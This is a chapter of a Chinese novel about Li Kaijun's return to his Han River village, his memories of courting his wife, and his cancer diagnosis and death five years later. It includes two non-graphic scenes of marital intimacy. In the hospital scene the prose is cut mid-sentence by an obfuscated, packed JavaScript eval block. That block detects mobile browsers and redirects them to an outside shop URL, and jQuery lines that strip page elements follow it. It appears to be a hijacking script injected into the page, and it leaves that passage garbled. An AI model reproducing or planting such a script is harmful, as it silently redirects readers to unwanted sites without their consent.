《半生债》下卷第8章·汉江流过的人  15600字


    一、汉江春早


    汉江从秦岭深处流出来的时候，是清的。


    三月的宁强，油菜花开得正好。王霖开着车，沿着汉江边的公路往山里走，车窗摇下来一半，风灌进来，带着油菜花的香气和水汽的凉。那香气不是浓的，是淡的，若有若无的，像谁在远处撒了一把蜜，风一吹，就散了。


    公路弯弯曲曲，一边是山，一边是江。山是秦岭的余脉，不高，却陡，山坡上开满了油菜花，一块一块的，黄得耀眼，像谁把阳光切碎了铺在地上。江是汉江的源头，窄窄的，清清浅浅的，水底的石头都能看见，白的、青的、麻花的，被水流磨得光滑圆润。


    李凯君坐在副驾驶上，一路没怎么说话，就那么看着窗外。


    王霖也不说话。


    两个人就这样开着车，走着路，看着风景，像两个普通的周末出游的朋友。


    过了燕子砭，江面宽了些，油菜花更多了。山坡上、河谷里、人家的房前屋后，到处都是。有蜜蜂在花丛里嗡嗡地飞，有蝴蝶落在路边的石头上晒翅膀，有农人在田里弯腰锄草，偶尔直起腰来，看看路上的车，又弯下腰去。


    “我小时候，”李凯君忽然开口，“春天的时候，就跟在我妈后头，在这山坡上挖野菜。那时候不知道这叫风景，只知道饿了。”


    王霖侧头看了他一眼。


    李凯君靠在椅背上，脸上没什么表情，眼睛望着窗外那些油菜花。阳光从车窗照进来，照在他脸上，把他眼角的皱纹照得清清楚楚。


    “现在知道了？”王霖问。


    李凯君沉默了一会儿，说：“现在知道了。”


    车继续往前开。


    汉江的水在阳光下闪着光，明明灭灭的，像无数细小的银鱼在游动。油菜花的香气一阵一阵地飘进来，混着泥土的气息、青草的气息，还有山里人家烧柴火的味道。


    前面是一个村子，白墙青瓦的房子错落有致地散在山坡上，炊烟袅袅地升起来，在蓝天上画出淡淡的、斜斜的线。村口有一棵老槐树，树下有几个老人坐着晒太阳，看见车过来，都抬起头，眯着眼睛看。


    “快到了。”李凯君说。


    王霖点点头，把车速放慢。


    二、宁强的家


    李凯君的老家，就在这个村子里。


    三间瓦房，一个院子，院墙是用石头垒的，不高，刚好到人胸口。院子里种着几棵果树，梨树、桃树、柿子树，都刚发芽，嫩绿嫩绿的。墙角堆着柴火，码得整整齐齐，一看就是过日子的人家。


    车还没停稳，院门就开了。一个老人站在门口，穿着蓝布褂子，头发全白了，脸上皱纹像刀刻的一样深。她看着车，眼睛眯着，似乎看不清楚。


    “我妈。”李凯君说。


    他下车，走到老人跟前，叫了一声：“妈。”


    老人伸手摸摸他的脸，又摸摸他的肩膀，上上下下地看，嘴里念叨着：“瘦了，瘦了。”


    王霖站在旁边，看着这一幕。阳光照在老人花白的头发上，照在她粗糙的手上，照在她满是皱纹的脸上。她看儿子的眼神，让王霖想起自己的母亲。


    父亲也从屋里出来了，比母亲还瘦，背微微驼着，走路有点慢。他走到李凯君跟前，没说话，只是伸出手，拍了拍儿子的肩。


    那只手，跟母亲的一样粗糙。


    王霖跟着进了屋。堂屋不大，收拾得干干净净，墙上挂着几幅年画，还有一张全家福。照片里，李凯君还年轻，旁边站着一个清秀的女人，两个女儿站在前面，都扎着小辫，笑得露出牙齿。


    “这是春英。”李凯君指着照片里的女人，“柳春英。我老婆。”


    王霖点点头。他知道这个名字。


    “这是老大，这是老二。”李凯君又指着两个小女孩，“老大今年大学毕业了，在上海工作。老二还在上初二，学习也好，考上市实验估计没问题，还有五年就参加高考了,等小女考上大学，我也就心安了。”


    他说这话的时候，脸上有一种光。那种光，王霖见过——那是父亲提起女儿时才会有的光，骄傲的、柔软的、什么都换不来的光。


    母亲端了茶上来，又端了一盘炒花生、一盘腌萝卜干，都是山里人待客的老规矩。她非要王霖吃，王霖就抓了一把花生，剥着吃。花生是自家种的，晒得干干的，嚼起来很香。


    父亲坐在旁边，不怎么说话，就那么看着儿子。看一会儿，又看看王霖，憨厚地笑笑，然后又看儿子。


    李凯君开始说话，说公司的事，说生意的事，说两个女儿的事。他说的时候，父母就听着，偶尔点点头，偶尔“嗯”一声。他们不太懂那些事，但他们懂儿子——儿子说话的时候，声音是亮的还是暗的，眼睛是有神的还是没神的，他们一眼就能看出来。


    中午吃饭，母亲做了满满一桌子菜。腊肉炒蒜苗，土鸡汤，炖豆腐，炒青菜，还有一碗蒸鸡蛋羹。鸡蛋羹蒸得嫩嫩的，上面漂着几滴香油，热气腾腾的。


    “吃，吃。”母亲不住地给王霖夹菜，“你们城里人，吃不到这些。”


    王霖埋头吃。腊肉是自家熏的，有一股松枝的香味；土鸡是自家养的，汤黄黄的，上面漂着一层油；青菜是刚从地里摘的，嫩得能掐出水来。


    李凯君也吃，吃得很慢，吃几口就停下来，看看父母，看看院子外的山，看看远处汉江的方向。


    王霖知道他在看什么。他在看自己从小长大的地方，看那些熟悉的山、熟悉的水、熟悉的空气。他在用眼睛记住这一切。


    饭后，李凯君带王霖去村子里转。


    村子不大，几十户人家，散落在山坡上。有一条小溪从村边流过，水清得能看见底下的石头和游动的小鱼。溪边有几个妇女在洗衣服，棒槌一下一下地敲在石头上，发出“啪、啪”的声音。


    “我小时候，”李凯君说，“就在这条溪里抓鱼。用竹子编的篓子，放在水口子上，过一晚上，第二天早上就能抓到几条。”


    他蹲下来，伸手在溪水里划了划。水很凉，凉得让人一激灵。


    “我弟弟，比我小两岁，那时候老跟着我。”他站起来，甩甩手上的水，“后来他出息了，在深圳，TCL，当老总。整天坐飞机，全国各地飞。”


    王霖点点头。他听李凯君说过，弟弟是家里最有出息的。


    “我哥在家，守着这几亩地。”李凯君继续说，“他不想出去，就想守着爹妈。我每年回来，他都跟我说，你在外头好好干，家里有我。”


    他指着山坡上的一片地：“那是他家的地，种油菜。你看，开得多好。”


    王霖顺着他的手指看过去。山坡上，油菜花开得正好，黄灿灿的一片，风一吹，像金色的海浪在起伏。


    “我爹妈，一辈子没离开过这个地方。”李凯君说，“他们种地，养猪，养鸡，把我们兄弟三个拉扯大。后来我们一个一个都走了，就剩下我哥陪着他们。”


    他顿了顿，声音低下去：“我跟他们说，跟我去城里住。他们不去。说城里住不惯，说这里挺好。”


    王霖没说话。他想起自己的父亲，也是这么说。


    两人站在山坡上，望着远处的汉江。江水在阳光下一闪一闪的，像一条银色的带子，蜿蜒着流向远方。


    “我小时候，以为这条江是全世界最宽的。”李凯君忽然笑了，“后来去了外面，才知道还有长江，还有黄河，还有大海。”


    王霖看着他。


    “可是现在，”李凯君说，“我觉得，还是这条江最宽。”


    三、发家史


    回程的路上，李凯君的话多了起来。


    也许是看了老家，看了父母，看了汉江，他心里那些话，像春天的泉水一样，汩汩地往外冒。


    “王总，”他说，“我给你讲讲我的发家史吧。”


    王霖说：“好。”


    于是李凯君就开始讲。


    他讲自己当年没考上国家公办大学，自费上了西安乡镇企业大学。那时候家里穷，学费是借的，生活费是省出来的，一个月就花几十块钱，吃饭就吃馒头咸菜。


    他讲毕业后，没有像样的工作，就去跑业务。一开始卖保健品，骑着自行车满西安跑，一天跑几十公里，脚上磨出血泡，晚上回去用针挑破，第二天接着跑。


    他讲后来做国际贸易，倒腾一些乱七八糟的东西，赚了点钱，就想着自己干。那时候年轻，胆大，敢闯，什么都敢试。试对了，赚一笔；试错了，亏一笔。亏了再赚，赚了再亏，起起落落的，像坐过山车。


    他讲那辆马自达，讲用麻袋装二十六万现金去提车的事。讲的时候，眼睛又亮起来，像在讲一件很得意的事。


    “那时候，我觉得自己行了。”他说，“买了车，买了房，娶了老婆，生了孩子，什么都有了。我以为这辈子就这样了，安安稳稳的，越过越好。”


    王霖听着，没插话。


    “可谁知道呢？”李凯君叹了口气，“做生意这回事，就像划船，看着风平浪静的，一转眼浪就来了。”


    他讲后来的事。讲市场的变化，讲竞争的激烈，讲那些年怎么一步一步被逼到墙角。讲他后来做农资，做液体肥料，怎么认识王霖，怎么一起合伙办公司。


    讲那些年跑市场的日子。开着那辆马自达，跑遍了西北五省，最远跑到新疆。冬天零下二十多度，车冻得打不着火，他就下来推，推热了再开。夏天四五十度，车里像蒸笼，汗流浃背，衣服湿了干，干了湿。


    讲他谈客户的事。请客吃饭，喝酒喝到吐，吐完接着喝。送礼送到手软，什么都要送，什么都要打点。有时候一个客户要跟一年，跟两年，跟到人家终于松口，跟到合同签下来的那一刻。


    “最难的时候，我一个月跑了八千公里。”他说，“八千公里，什么概念？从西安到北京，来回好几趟。车都跑废了，人还在跑。”


    王霖侧头看他。李凯君靠在椅背上，眼睛望着前方，脸上有一种复杂的神情——有骄傲，有疲惫，有说不清的东西。


    “可是王总，”他忽然转过头来，“你知道吗，那时候我不觉得累。”


    王霖问：“为什么？”


    “因为有个奔头。”李凯君说，“跑完这一单，就能多赚点；多赚点，就能让老婆孩子过好点；她们过好点，我就觉得值。”


    他顿了顿，声音低下去：“现在呢？现在跑不动了，才发现，那些年，把自己跑废了。”


    王霖沉默着，没说话。


    车窗外，汉江还在流淌。油菜花还在开着。春天的阳光暖洋洋的，照在田野上，照在村庄里，照在来来往往的车流上。


    四、酒醉的夜晚


    “王总，”李凯君忽然换了个话题，“我给你讲讲我和春英的事吧。”


    王霖点点头。


    李凯君的目光投向车窗外，那些后退的山峦和田野，像时光的倒影。他的声音变得柔软起来，像在抚摸一件珍藏已久的旧物。


    “那年我跑业务，在呼和浩特。春英刚毕业，在那边当老师。我们是老乡介绍的，见了一面。她长得清秀，说话轻声细语的，一看就是读过书的人。我那时候穷，穿得也土，见完面我就想，人家能看上我？”


    他笑了笑，继续说：“后来我就请她吃饭。那天高兴，喝多了。多到什么程度？走不了路，话都说不清楚。她把我扶回住的地方，我倒在床上就睡。半夜醒来，发现她还在——坐在床边，守着我。”


    王霖听着，没说话。


    “我吐得一塌糊涂，衣服上、床上、地上，到处都是。那个味道，我自己都受不了。”李凯君的声音轻下去，“可她一声没吭，把我扶起来，脱了脏衣服，给我擦身子。擦了一遍又一遍，用热毛巾敷我的脸，给我倒水喝。”


    “那时候我就想，这个女人，我要娶。”


    王霖侧头看他。李凯君的脸微微红着，不知道是车窗外的阳光照的，还是回忆染的。


    “后来呢？”王霖问。


    “后来？”李凯君笑了，“后来我就经常去找她。我跑业务，一跑就是十天半个月，但只要回到呼和浩特，第一件事就是去找她。她从来不问我赚了多少钱，不问我有没有出息，就给我做饭，给我洗衣服，听我说那些跑业务的破事。”


    他顿了顿，声音更轻了：“有一回，我喝得比那次还多。人事不省，怎么回去的都不知道。第二天醒来，发现自己光着身子躺在床上，干干净净的，一点酒气都没有。春英趴在床边睡着了，手还攥着毛巾。”


    王霖的心里动了一下。


    “她照顾了我一晚上。给我脱衣服，给我擦身子，给我换床单，给我喂醒酒汤。那些脏衣服，她连夜洗了，晾在阳台上。”李凯君说，“我醒来的时候，看着她趴在床边，头发散着，脸上还有没洗干净的污渍——那是给我擦脸的时候蹭上的。”


    他沉默了很久。


    “王总，”他忽然说，“你说，人这一辈子，能遇上几个这样的人？”


    王霖没回答。他想起张莉，想起那些年自己在外奔波，她一个人在家带孩子、操持家务的身影。想起那些深夜回家，她总是留着灯、热着饭。想起她从不抱怨，从不说累，就那么默默地守着。


    “我遇上了。”李凯君说，声音里有一种说不清的东西，“这辈子，值了。”


    五、草原上的风


    那年的夏天，李凯君带柳春英回了内蒙古。


    不是呼和浩特，是更远的草原。他想让她看看自己跑业务时见过的最美的地方。


    他们坐了很久的车，从城市到县城，从县城到乡镇，从乡镇到草原。路越来越窄，人越来越少，天越来越宽。当最后那一望无际的绿色铺展在眼前时，柳春英的眼睛亮了起来。


    “真大。”她说。


    李凯君看着她，笑了。


    他们在草原上待了三天。


    第一天，他们骑马。李凯君会骑，柳春英不会。他扶着她上马，自己在后面牵着缰绳，慢慢走。草原的风吹过来，带着青草的香气和野花的味道。柳春英坐在马背上，笑得像个孩子。


    第二天，他们去看牛羊。成群的羊像云朵一样散在草地上，牛慢悠悠地吃草，尾巴甩来甩去。有一头小牛犊追着母牛跑，跑几步就停下来，奶声奶气地叫。柳春英看了很久，回头对李凯君说：“它们真幸福。”


    李凯君说：“它们不知道什么叫幸福。”


    柳春英说：“不知道才幸福。”


    李凯君想了想，觉得她说得对。


    第三天，他们哪儿也没去。就坐在草地上，看天，看云，看风吹过草尖的样子。草原的天蓝得像洗过的，云低得好像伸手就能摸到。远处的山隐隐约约的，像画上去的淡墨。


    那天下午，他们喝了点酒。不是白酒，是牧民自己酿的马奶酒，酸酸的，有一点点甜。柳春英喝了几口，脸就红了，红得像天边的晚霞。


    “凯君。”她忽然叫他。


    “嗯？”


    “你会一直对我好吗？”


    李凯君看着她。夕阳的余晖照在她脸上，把她的眉眼照得格外温柔。她的眼睛亮亮的，里面有他，有草原，有整个天空。


    他伸出手，握住她的手。


    “会。”


    那晚，他们留在了草原上。


    帐篷搭在背风的地方，外面是茫茫的夜色，是无边的寂静，是风吹过草尖的沙沙声。月亮升起来了，又圆又亮，把草原照得像白天一样。月光从帐篷的缝隙里漏进来，在地上画出一道一道的银线。


    他们喝了酒，说了很多话。说着说着，就不说了。


    柳春英的脸红红的，眼睛亮亮的，呼吸有些急。李凯君看着她，心跳得像跑马的蹄声。他伸出手，轻轻摸了摸她的脸。她的脸烫烫的，像被太阳晒过的石头。


    “春英。”他叫她的名字。


    她没说话，只是看着他。那目光里有什么东西，柔软的，滚烫的，让他整个人都化开了。


    他低下头，吻了她。


    那是他们第一次真正意义上的亲近。不是醉酒后的照顾，不是日常的牵手，是两个灵魂毫无保留地靠近。草原的夜很静，静得能听见彼此的呼吸和心跳。帐篷外的风轻轻地吹，吹得帐篷布微微颤动，像在为谁伴奏。


    月光从缝隙里漏进来，照在他们身上。那些平日里包裹着的、束缚着的、遮蔽着的东西，一件一件地褪去，像剥开一层一层的茧。最后露出来的，是最本真的、最原始的、最干净的生命本身。


    柳春英的身体在月光下泛着柔和的光泽，像草原上初生的羊羔，像清晨沾着露水的花瓣。李凯君看着她，眼眶忽然湿了。他想，这个女人，从今以后，就是他命里的人了。


    他们的结合，像草原上两条溪流的汇合，自然而然地，没有任何犹豫和保留。柳春英的手抓着他的背，指甲陷进去，留下一道一道的红痕。她不叫，只是咬着嘴唇，眼泪从眼角滑下来，滑进头发里。


    李凯君停下来，问她：“疼吗？”


    她摇摇头，把他抱得更紧。


    后来，风停了，月亮升到中天，草原陷入最深的静。他们躺在铺盖上，望着帐篷顶漏进来的那一小片天空。星星在那一小片天空里闪烁，一眨一眨的，像在偷看。


    柳春英忽然笑了。


    “笑什么？”李凯君问。


    她没说话，只是用手指了指帐篷外面。李凯君侧耳听，听见了什么声音——细细的，软软的，像婴儿的哼唧。他悄悄掀开帐篷的一角，往外看。


    月光下，不远处的草地上，两头牛正纠缠在一起。公牛趴伏在母牛背上，脖子上的肌肉紧绷着，月光把它们的身影拉得很长。母牛安静地站着，偶尔甩一甩尾巴，像是在享受，又像是在等待。那细细的声音，就是从它们那里传来的。


    李凯君看呆了。


    柳春英凑过来，趴在他肩膀上，也往外看。看着看着，她笑出了声，又赶紧捂住嘴。


    “它们在干什么？”她明知故问。


    李凯君转过头，看着她。月光照在她脸上，把她的眼睛照得亮亮的，里面有笑意，有羞涩，还有一种说不清的、让人心跳的东西。


    “你猜。”他说。


    柳春英没猜，只是把头埋进他怀里，笑得浑身发抖。


    那一夜，他们再也没睡着。他们听了一夜的牛叫，羊叫，还有远处隐隐约约的马蹄声。草原上的生灵，都在这个夜晚做着同样的事。它们是那样坦然，那样无所顾忌，那样理所应当。


    “凯君。”柳春英忽然说。


    “嗯？”


    “你看，它们多好。”


    李凯君顺着她的目光看去。月光下，那些纠缠在一起的影子，像一幅古老的画，画的是生命本身的样子。


    “咱们也好。”他说。


    柳春英没说话，只是把他抱得更紧。


    天快亮的时候，她忽然趴在他耳边，轻声说了一句什么。李凯君没听清，问她说的什么。她不说，只是笑，笑得脸红红的，像天边刚露出来的朝霞。


    很多年后，李凯君还记得那个夜晚。


    记得月光，记得风声，记得那些纠缠在一起的影子。记得她在他耳边说的那句话，他没听清，可她再也不肯说第二遍。


    “王总，”他靠在车椅上，眼睛望着前方，嘴角带着笑，“那天晚上，我们躺在帐篷里，外面的风吹得呼呼响。春英忽然说，你看，那些牛羊多自在。我说是啊。她说，它们想干什么就干什么，没人管。我说对。她忽然转过脸来，看着我，眼睛亮亮的，说——”


    他停住了。


    王霖问：“说什么？”


    李凯君笑了，笑得很柔软，像在抚摸一件珍藏了很多年的宝贝。


    “她说，”他顿了顿，“那我们也学它们吧。”


    两个人都沉默了一会儿。


    车窗外，草原已经看不见了，取而代之的是连绵的山和零星的村庄。但王霖知道，李凯君的眼睛里，还装着那片草原，那个夜晚，那些月光下纠缠的影子。


    “后来呢？”王霖问。


    “后来？”李凯君笑了，“后来我们就学了。”


    他笑得像个孩子，脸上的皱纹都舒展开来。


    “那天早上，太阳出来的时候，我们还在草地上躺着。春英枕着我的胳膊，头发散在我胸口，痒痒的。远处的牛羊又开始叫了，新的一天开始了。”


    他顿了顿，声音轻得像风。


    “王总，我这辈子，最好的时候，就是那个早上。”


    六、汉中的山野


    后来，李凯君带柳春英回了汉中。


    那是他们结婚后的第一个春节。从内蒙古到陕西，坐了两天一夜的火车。柳春英第一次进秦岭，第一次看见那么高的山，那么深的沟，那么多的树。


    “你家在山里？”她问。


    李凯君点头：“怕不怕？”


    柳春英摇摇头，眼睛亮亮的。


    他们从县城坐班车到镇上，从镇上走路进山。走了两个多小时，才看见那个藏在山坳里的村子。柳春英走累了，出了一身汗，可她不叫累，就那么跟着他，一步一步地走。


    走到半山腰，李凯君停下来，指着远处说：“你看。”


    柳春英顺着他的手指看去。山谷里，一条小河弯弯曲曲地流着，河边是一片一片的梯田，田里种着油菜，开得正好。山风吹过来，带着花香和水汽，吹得人神清气爽。


    “真好看。”她说。


    李凯君看着她，笑了。


    那几天，他带她去看了很多地方。山上的松树林，沟里的溪水，悬崖边的野花。她什么都觉得新鲜，什么都想看。有一回，他们走迷了路，在山里转了一下午，最后找到一个放羊的老汉，才问清楚方向。


    “你不怕？”李凯君问。


    柳春英摇头：“跟你在一起，不怕。”


    那天晚上，他们住在山上的一个废弃的窝棚里。窝棚是放羊人搭的，四面透风，但好歹有顶。李凯君生了一堆火，两个人围着火坐着，烤馒头吃。


    馒头烤得焦黄焦黄的，掰开，里面冒着热气。柳春英咬一口，烫得直吸气，可还是吃。李凯君看着她，心里软得一塌糊涂。


    吃完饭，他们坐在窝棚门口，看山里的夜。


    山里的夜，黑得纯粹。没有城市的灯光，没有来往的车流，只有满天的星星，密密麻麻的，像撒了一把碎银子。银河横亘在天上，清晰得伸手就能摸到。远处的山影黑沉沉的，像睡着的巨兽。


    柳春英靠在他肩上，不说话。


    李凯君也不说话。


    两个人就那么坐着，看着星星，听着山风，闻着草木的气息。那种安静，不是空白的安静，是满满的、沉甸甸的安静。


    后来，他们进了窝棚。


    窝棚很小，只能躺下两个人。铺盖是李凯君从家里带来的，薄薄的，但足够暖和。他们并排躺着，望着棚顶的缝隙里漏进来的星光。


    柳春英忽然翻过身，看着他。


    “凯君。”


    “嗯？”


    “我想要个孩子。”


    李凯君愣了一下，然后笑了。他伸手，把她揽进怀里。她的身体软软的，热热的，像一只偎人的猫。


    “那就生。”他说。


    那一夜，山里很静，静得能听见彼此的呼吸。窝棚外的风轻轻地吹，吹得棚顶的茅草沙沙响。月光从缝隙里漏进来，照在他们身上，像水一样流淌。


    他们的结合，和草原上那夜不同。草原上的是奔放的、热烈的，像骏马在旷野上奔跑。而山里的是安静的、深沉的，像溪水在峡谷里流淌。


    柳春英的身体像山里的土地，柔软而温暖。她在他身下轻轻颤抖，像风中的树叶。她的手抓着他的背，指甲陷进去，留下月牙形的印记。她不叫，只是咬着嘴唇，眼睛里有一种光，那种光，让他觉得，这辈子值了。


    后来，风停了，月亮升高了，山里的夜更静了。他们躺在铺盖上，听着远处传来的声音——是狼嚎，还是狗叫？分不清。但那声音让夜更深，让山更静，让他们彼此靠得更紧。


    “凯君。”柳春英忽然说。


    “嗯？”


    “等咱们老了，就回来这里住吧。”


    李凯君没说话，只是把她抱得更紧。


    很多年后，李凯君还记得那个夜晚。记得窝棚里的温度，记得她身上的气息，记得她说的那句话。可他没能等到老，没能带她回来住。


    但他的骨灰，最后还是回了汉中。


    回了这片山，这片他长大的地方，这片他们曾经相拥过的土地。


    七、那个下午


    回到东海，已经是傍晚。


    王霖把李凯君送回家，自己也回了家。张莉做了饭，他吃了几口，放下筷子，坐到沙发上发呆。


    张莉问他怎么了。


    他说：“凯君可能出事了。”


    张莉愣了一下：“什么事？”


    王霖摇摇头：“不知道。就是觉得，他不对劲。”


    三天后，李凯君给他打电话。


    “王总，你有空吗？陪我去趟省医院。”


    王霖说：“有。”


    他开车去接李凯君。李凯君上车的时候，脸色不太好，嘴唇有点肿，说话含含糊糊的。王霖问他怎么了，他说嘴里长了东西，疼，想去查查。


    一路上，李凯君没怎么说话。王霖也没说。车里的气氛闷闷的，像要下雨的天。


    省医院人很多，排队挂号，排队看医生，排队做检查。李凯君一项一项地做，王霖就跟着，跑上跑下，取号、交费、拿报告。


    下午四点，结果出来了。


    医生把李凯君叫进去，王霖在外面等。等了很久，门开了，李凯君走出来，手里拿着报告，脸上没什么表情。


    “怎么样？”王霖问。


    李凯君把报告递给他。王霖接过来看，看见那几个字：口腔鳞状细胞癌。


    他的脑子嗡了一下。


    李凯君站在旁边，忽然笑了。那笑容很奇怪，像是想安慰王霖，又像是想安慰自己，可怎么也安慰不了。


    “医生说，要尽快手术。”他说。


    王霖看着他，想说什么，却什么都说不出来。


    走廊里人来人往，护士推着车经过，病人家属拿着报告匆匆走过，有孩子在哭，有老人在叹气。消毒水的味道飘来飘去，呛得人鼻子发酸。


    李凯君站在那里，瘦瘦的，背微微驼着，手里攥着那张薄薄的纸。走廊尽头的窗户开着，风吹进来，把他的头发吹乱了。


    “走吧。”他说。


    王霖点点头，跟着他往外走。


    走到医院门口，太阳已经西斜了，把医院的楼影子拉得很长。门口有个卖烤红薯的，香味飘过来，混着消毒水的味道，混着车尾气的味道，混着说不清的什么味道。


    李凯君站在门口，忽然说：“王总，我还没跟我老婆说。”


    王霖看着他。


    “我不知道怎么说。”李凯君说，“两个女儿，一个刚工作，一个还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235740|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在上初中，再有五年才考大学。我老婆，这些年跟着我，没享过什么福。。。。。。”


    他的声音很平静，平静得不像在说自己的事。


    王霖伸出手，拍拍他的肩。


    那只肩膀，瘦得硌手。


    八、柳春英


    手术安排在一周后。


    那几天，王霖陪着李凯君跑前跑后，联系医生，安排住院，准备手术。李凯君的老婆柳春英也从家里赶来了，把孩子托付给邻居，自己一个人坐火车来的。


    王霖第一次见到柳春英，是在医院病房里。


    她站在病床边，正在给李凯君削苹果。削得很慢，很仔细，皮削得薄薄的，一点都没断。她低着头，侧脸对着王霖，眉眼清秀，头发挽在脑后，穿着一件素色的外套，洗得有点发白了，但干干净净的。


    李凯君躺在床上，看见王霖进来，冲他点点头。


    柳春英抬起头，看见王霖，赶紧放下手里的苹果和刀，站起来，在衣服上擦了擦手，有点局促地笑了笑：“王总。”


    王霖说：“嫂子好。”


    柳春英的脸微微红了一下，大概是不习惯被人叫嫂子。她给王霖搬了把椅子，又去倒水。王霖说不用，她还是倒了，双手递过来。


    王霖接过水杯，看她。


    这个女人，朴朴实实的，像田野里的一株麦子。不高不矮，不胖不瘦，眉眼之间有一种说不清的安静。她站在那里，什么也不说，就让人觉得心安。


    后来王霖才知道，柳春英是内蒙古师范大学毕业的。学的是中文，喜欢读书，喜欢写东西。大学毕业那年，认识了李凯君，不知道怎么就看上了这个从秦岭深处走出来的穷小子。家里不同意，她就跟家里闹；闹完了，嫁过来，跟着他吃苦。


    那些年李凯君跑业务，她一个人在家带孩子。大的哭，小的叫，她一边哄孩子一边做饭，饭做好了，自己来不及吃，孩子又哭了。冬天冷，夏天热，孩子生病，她一个人抱着往医院跑，跑得满头大汗，跑得眼泪都出来了，可从来没跟李凯君抱怨过一句。


    后来李凯君赚了钱，买了房，买了车，日子好过了。她还是那样，朴朴实实的，不化妆，不打扮，穿的衣服还是那么几件。李凯君让她买新的，她说不缺，够穿就行。


    再后来，李凯君病了。她二话不说，放下家里的一切，来医院陪着。


    王霖看见她削的那个苹果，削好了，切成小块，放在碗里，插上牙签，递到李凯君手边。李凯君伸手去拿，她轻声说：“慢点，别噎着。”


    那一刻，王霖忽然想起张莉。


    她们是一样的人。一样的安静，一样的坚韧，一样的把所有的苦都咽进肚子里，把所有的累都藏进皱纹里，然后笑着对你说：没事，都好。


    九、五年


    手术很成功。


    但手术后还有化疗，还有放疗，还有漫长的恢复期。李凯君的体重开始往下掉，从一百六十斤掉到一百三十斤，掉到一百一十斤，掉到九十斤。他的脸瘦得脱了形，颧骨高高地凸出来，眼窝深深地凹下去，嘴唇因为放疗变得干裂、发白。


    可他还是笑。


    “王总，”他说，“医生说我能活两年。我说不行，我要活五年。”


    王霖问他为什么是五年。


    他说：“我大女儿今年刚工作，我想看她站稳脚跟。我小女儿今年刚上大学，我想看她毕业。五年够了，五年我就能看见。”


    他说这话的时候，眼睛里有一种光。那种光，王霖见过——那是父亲提起女儿时才会有的光。


    从那天起，王霖开始带着李凯君往外跑。


    不是跑业务，是跑户外。去爬山，去旅行，去做公益。王霖告诉他，从此以后，要学会放下。放下生意，放下恩怨，放下那些放不下的事。坚持锻炼身体，让自己开心是第一任务。


    李凯君听他的话。


    他们去爬了很多山。秦岭、终南山、太白山，能爬的都爬了。李凯君体力不好，爬几步就要歇一歇。王霖就陪着他，歇够了再爬。爬到山顶，两个人就坐下来，看着远处的山峦，看着山下的村庄，看着天上的云。


    “王总，”李凯君说，“我以前从来没发现，山顶的风景这么好。”


    王霖说：“那是因为你以前没时间看。”


    李凯君点点头，没说话。


    他们也去做公益。去敬老院看老人，去孤儿院看孩子，去寺庙里拔草。李凯君最喜欢去寺庙，说那里安静，说那里的香火味让他心安。他在寺庙里拔草，拔得很慢，很认真，一根一根地拔。拔完了，就坐在台阶上，听和尚念经。


    “王总，”有一次他问，“你说，人这一辈子，到底图啥？”


    王霖想了想，说：“图个心安吧。”


    李凯君点点头，没再问。


    有一次，张莉忽然说：“凯君那个保险，是不是可以理赔？”


    王霖一愣，想起李凯君曾经买过重疾险。他赶紧给柳春英打电话，柳春英翻箱倒柜找出保单，张莉拿着保单去保险公司问。跑了几趟，打了无数电话，最后终于办下来了。


    那笔钱，帮了大忙。


    柳春英给张莉打电话，声音哽咽着，说不出话来。张莉说：“嫂子，别这样，咱们是一家人。”


    柳春英在电话那头哭了。


    十、最后的时光


    五年。


    李凯君真的活了五年。欣慰的看到了小女儿考上了国防重点大学。


    医生说这是奇迹。李凯君自己说，不是奇迹，是舍不得。


    舍不得女儿，舍不得老婆，舍不得那些山，那些水，那些还没看够的风景。


    凯军说他后来又回了一次老家。。。。。。。


    汉江还是那条汉江，油菜花还是那片油菜花。山坡上的花开得正好，黄灿灿的一片，像阳光铺在地上。蜜蜂在花丛里嗡嗡地飞，蝴蝶在路边晒翅膀，农人在田里弯腰锄草。


    他已经很瘦了。从一百六十斤瘦到了七十多斤，瘦得像一把柴，风吹过来，好像就能把他吹倒。可他的眼睛还是亮的，望着远处的汉江，望着山坡上的油菜花，望着炊烟袅袅的村庄。


    “王总，”他说给王霖打了电话。电话了感慨良久，他说，“我知足了。”


    “五年，我知足了。”李凯君说，“大女儿在上海站稳了，中国银行上海分行，户口都成了上海人。小女儿考上军校了，名牌大学，比姐姐还厉害。我老婆，这些年跟着我，没享过福，可她也过来了。”


    他顿了顿，声音很轻：“我爸妈，八十多岁了，身体还行。我哥守着他们，我弟弟在深圳，也出息了。我们家，该出的都出了。”


    王霖听着，没说话。


    “我就是舍不得。”李凯君说，“舍不得她们。舍不得这山，这水，这油菜花。”


    他说：“你看，那片地，是我家的。我小时候，就在那里面跑。”


    山坡上，油菜花开得正好，金黄的一片，风吹过，像波浪一样起伏。


    “王总，”李凯君突然说，“你说，春英这辈子，跟着我，值不值？”


    王霖沉默了一会儿，说：“你问她。”


    李凯君愣了一下，然后笑了。


    “对，该问她。”他说，“我从来没问过她。”


    那年的冬天，李凯君走了。


    走的时候，很平静。柳春英在他身边，大女儿从上海赶回来了，小女儿从学校赶回来了。他看着她们，笑了笑，然后就闭上了眼睛。


    那天东海的风很大，很硬，吹在脸上像刀子一样。王霖站在殡仪馆门口，风吹得他睁不开眼睛。


    来送行的人不多。


    李凯君活着的时候，在西北商会也算个名人，能说会道，为人豪爽，朋友不少。可到了最后，真正来的，就那么几个。


    宋泰生来不了，让王霖捎去了三百块钱。他把钱递给王霖的时候，脸色不太好，说：“替我烧柱香。”


    王霖没看到李见俊，也没捎话。


    王霖拿着那三百块钱，站在风里，站了很久很久。


    十一、最后一眼


    告别的时候到了。


    王霖走到棺材旁边。工作人员打开棺材盖，让他看最后一眼。


    棺材里，李凯君躺着。


    他已经不是那个李凯君了。一百六十斤的人，只剩七十多斤，瘦得像一具骨架。颧骨高高地凸出来，眼窝深深地凹下去，嘴唇闭着，脸上没有表情。


